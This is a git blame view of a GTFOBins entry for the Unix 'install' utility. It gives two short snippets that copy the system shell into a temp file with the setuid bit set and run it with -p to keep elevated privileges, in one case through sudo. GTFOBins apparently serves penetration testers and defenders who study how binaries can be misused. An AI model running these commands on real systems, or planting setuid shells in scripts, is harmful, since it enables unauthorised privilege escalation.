GTFOBins.github.io/_gtfobins/install.md

14 lines
218 B
Markdown
Raw Normal View History

2020-11-13 11:59:14 +01:00
---
functions:
suid:
- code: |
TF=$(mktemp)
2020-11-13 12:09:04 +01:00
install -m 4755 `which sh` $TF
2020-11-13 11:59:14 +01:00
$TF -p
sudo:
- code: |
TF=$(mktemp)
2020-11-13 12:09:04 +01:00
sudo install -m 4755 `which sh` $TF
2020-11-13 11:59:14 +01:00
$TF -p
---